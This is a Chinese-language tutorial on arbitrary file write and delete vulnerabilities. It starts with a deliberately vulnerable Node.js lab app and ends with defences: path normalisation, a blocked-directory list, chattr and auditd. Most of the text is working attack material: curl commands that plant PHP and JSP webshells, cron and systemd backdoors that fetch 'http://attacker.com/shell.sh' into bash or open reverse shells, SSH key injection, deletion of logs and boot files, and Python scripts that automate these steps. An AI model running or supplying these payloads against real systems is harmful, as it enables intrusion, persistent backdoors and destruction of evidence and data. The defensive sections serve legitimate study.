一、任意文件操作是什么
任意文件操作 = 攻击者可以让服务器写/删任意路径的文件。威力取决于:能写什么文件、能写到哪里。
1.1 高危级别
| 写入目标 | 直接后果 | 危险程度 |
|---|---|---|
| Web 根目录 + .php/.jsp | RCE(WebShell) | ★★★★★ |
| .htaccess | 扩大攻击面(执行任意后缀) | ★★★★ |
| /etc/cron.d/backdoor | 定时任务 RCE(root 权限) | ★★★★★ |
| ~/.ssh/authorized_keys | SSH 免密登录 | ★★★★★ |
| php.ini / .user.ini | 修改 PHP 行为 | ★★★★ |
| /etc/hosts | DNS 劫持 | ★★★ |
| 任意文件删除 | 配置破坏 / 源码删掉 | ★★★ |
二、任意写靶场(Node.js)
// vuln-write.js
const express = require('express');
const fs = require('fs');
const app = express();
app.use(express.urlencoded({ extended: true }));
app.post('/write', (req, res) => {
const filePath = req.body.file;
const content = req.body.content;
fs.writeFileSync(filePath, content);
res.send('OK: ' + filePath);
});
app.post('/delete', (req, res) => {
const filePath = req.body.file;
if (fs.existsSync(filePath)) {
fs.unlinkSync(filePath);
res.send('DELETED: ' + filePath);
} else { res.send('NOT FOUND'); }
});
app.listen(3000);
``
## 三、WebShell 写入(经典)
``bash
# PHP 一句话
curl -X POST http://target.com/write \
-d "file=/var/www/html/shell.php" \
--data-urlencode "content=<?php eval($_GET['c']); ?>"
# JSP WebShell
curl -X POST http://target.com/write \
-d "file=/usr/local/tomcat/webapps/ROOT/shell.jsp" \
--data-urlencode "content=<%Runtime.getRuntime().exec(request.getParameter("c"));%>"
# 然后请求
curl "http://target.com/shell.php?c=phpinfo();"
``
## 四、.htaccess 写入
``bash
# 写入 .htaccess:让所有 jpg 当 PHP 执行
curl -X POST http://target.com/write \
-d "file=/var/www/html/uploads/.htaccess" \
--data-urlencode "content=AddType application/x-httpd-php .jpg"
# 然后上传 shell.jpg → 当作 PHP 执行
``
## 五、定时任务 RCE
### 5.1 写入 /etc/cron.d
``bash
# 每分钟反弹 Shell
curl -X POST http://target.com/write \
-d "file=/etc/cron.d/backdoor" \
--data-urlencode "content=* * * * * root bash -c {echo,BASE64}|{base64,-d}|bash\n"
# 或者 curl backdoor.sh
curl -X POST http://target.com/write \
-d "file=/etc/cron.d/backdoor" \
--data-urlencode "content=* * * * * root curl http://attacker.com/shell.sh|bash\n"
``
### 5.2 完整 Python 脚本
```python
# cron_rce.py
import requests, base64
def cron_rce(target, cmd):
# 方案 1: /etc/cron.d
cron_entry = f"* * * * * root {cmd}\n"
try:
r = requests.post(target + "/write", data={
"file": "/etc/cron.d/backdoor",
"content": cron_entry,
}, timeout=5)
if r.status_code == 200:
print(f"[+] /etc/cron.d/backdoor 已写入: {cron_entry.strip()}")
return True
except Exception as e:
print(f"[-] /etc/cron.d: {e}")
# 方案 2: /var/spool/cron/crontabs/root
try:
r = requests.post(target + "/write", data={
"file": "/var/spool/cron/crontabs/root",
"content": f"* * * * * {cmd}\n",
}, timeout=5)
if r.status_code == 200:
print(f"[+] crontabs/root 已写入")
return True
except Exception as e:
print(f"[-] crontabs/root: {e}")
return False
# 反弹 Shell
reverse = "bash -c {echo,BASE64_SHELL}|{base64,-d}|bash"
cron_rce("http://192.168.1.100:3000", reverse)
``
### 5.3 Systemd Timer
``ini
# /etc/systemd/system/backdoor.timer
[Timer]
OnBootSec=10s
Unit=backdoor.service
# /etc/systemd/system/backdoor.service
[Service]
ExecStart=/bin/bash -c 'curl http://attacker.com/shell.sh|bash'
``
## 六、SSH 密钥写入
``bash
# 1. 读取公钥
cat ~/.ssh/id_rsa.pub
# ssh-rsa AAAAB3NzaC1yc2E... attacker@evil
# 2. 写入 /root/.ssh/authorized_keys
curl -X POST http://target.com/write \
-d "file=/root/.ssh/authorized_keys" \
-d "content=ssh-rsa AAAAB3NzaC1yc2E... attacker@evil"
# 3. 登录
ssh root@target
``
### 6.1 自动化脚本
```python
# ssh_key_exploit.py
import requests, os
def write_ssh_key(target, public_key, home="/root"):
key_path = f"{home}/.ssh/authorized_keys"
r = requests.post(target + "/write", data={
"file": key_path,
"content": public_key,
}, timeout=5)
if r.status_code == 200:
print(f"[+] 公钥已写入 {key_path}")
return True
return False
# 读取本地公钥并利用
with open(os.path.expanduser('~/.ssh/id_rsa.pub')) as f:
pubkey = f.read()
# 尝试多个目标用户
for home in ['/root', '/home/www-data', '/home/debian', '/home/app']:
write_ssh_key("http://192.168.1.100:3000", pubkey, home)
``
## 七、配置文件污染
### 7.1 php.ini
``ini
# /etc/php/8.x/cli/php.ini
disable_functions=
allow_url_include=On
auto_prepend_file=/tmp/backdoor.php
``
### 7.2 Nginx 反代
``nginx
# /etc/nginx/conf.d/backdoor.conf
server {
listen 4444;
server_name _;
root /;
autoindex on;
}
# 写入后 reload: nginx -t && nginx -s reload
``
### 7.3 /etc/hosts 劫持
``
127.0.0.1 www.target.com
# 把目标自己的域名解析到本地
# 然后本地跑 MITM 代理劫持流量
``
## 八、任意删除漏洞
### 8.1 基础危害
``bash
# 删除网站核心文件
curl -X POST http://target.com/delete -d "file=/var/www/html/config.php"
curl -X POST http://target.com/delete -d "file=/var/www/html/admin/login.php"
# 删除日志(毁灭证据)
curl -X POST http://target.com/delete -d "file=/var/log/apache2/access.log"
# 删除 Linux 启动关键文件
curl -X POST http://target.com/delete -d "file=/sbin/init"
curl -X POST http://target.com/delete -d "file=/boot/vmlinuz"
# → 下次启动直接崩
``
### 8.2 删除 disable_functions 配置文件
``bash
# 某些环境 PHP 安全配置在额外 ini 文件里
curl -X POST http://target.com/delete \
-d "file=/etc/php/conf.d/security.ini"
# 删除后重启 PHP → disable_functions 全消失
``
## 九、路径穿越 + 任意写
### 9.1 场景
``php
<?php
// 漏洞代码:固定写到 uploads/ 但没做路径校验
$name = $_POST['name'];
file_put_contents("./uploads/" . $name, $_POST['content']);
// 攻击者: name = "../../../etc/cron.d/backdoor"
// 解析后 → /etc/cron.d/backdoor ✓
?>
``
### 9.2 Node.js path.join 绕过
``javascript
const path = require('path');
// path.join 把第一个绝对路径当基准
path.join('/data/uploads', '../../../etc/passwd')
// → '/etc/passwd' ✓ 被覆盖!
``
## 十、防御:文件系统级保护
### 10.1 Python 安全实现
``python
import os
def safe_write(base_dir, filename, content, mode=0o644):
base_dir = os.path.realpath(base_dir)
full = os.path.realpath(os.path.join(base_dir, filename))
if not full.startswith(base_dir + os.sep):
raise ValueError(f"非法路径: {filename}")
dangerous = ['/etc', '/root', '/var/spool', '/boot', '/sys', '/proc']
for d in dangerous:
if full.startswith(d + os.sep) or full == d:
raise ValueError(f"禁止写入: {d}")
if os.path.islink(full):
raise ValueError("禁止覆盖符号链接")
# 用 O_NOFOLLOW 防 symlink race
fd = os.open(full, os.O_WRONLY | os.O_CREAT | os.O_NOFOLLOW, mode)
try:
os.write(fd, content)
finally:
os.close(fd)
``
### 10.2 权限隔离
``bash
# 独立用户运行 Web 服务
useradd -r -s /bin/false webapp
chown -R webapp:webapp /var/www/html/uploads
chmod -R 755 /var/www/html/uploads
# 该用户不能写 /etc / /root / /var/spool 等
# 关键目录 immutable(root 也删不掉,除非 chattr -i)
chattr +i /etc/passwd /etc/shadow /etc/crontab /boot/vmlinuz-*
# auditd 监控关键目录写入
auditctl -w /etc/cron.d -p wa -k cron_write
auditctl -w /etc/passwd -p wa -k passwd_write
auditctl -w /root/.ssh -p wa -k ssh_write
``
### 10.3 系统级防护
- **SELinux / AppArmor**:强制访问控制
- **容器化 + 只读根文件系统**(Docker :ro)
- **seccomp**:禁止 mkdir、symlink 等危险系统调用
- **额外挂载 tmpfs**:/tmp 用 tmpfs 挂载,重启清空
## 十一、小结
任意文件写/删除是**最原始也最常见**的文件操作漏洞。核心防御思路:
1. **先 normalize 再检查** —— realpath + 必须在 base_dir 内
2. **O_NOFOLLOW** —— 禁止覆盖符号链接
3. **权限分离** —— Web 进程不能写系统关键目录
4. **chattr +i** —— 关键文件 immutable
5. **及时审计** —— auditd 监控关键目录写入
一个生产环境里如果能做到:**Web 进程只有 uploads/ 目录写权限 + uploads/ 目录不执行脚本 + uploads/ 目录非 Web 根路径**,那就算存在任意写漏洞,后果也会小很多。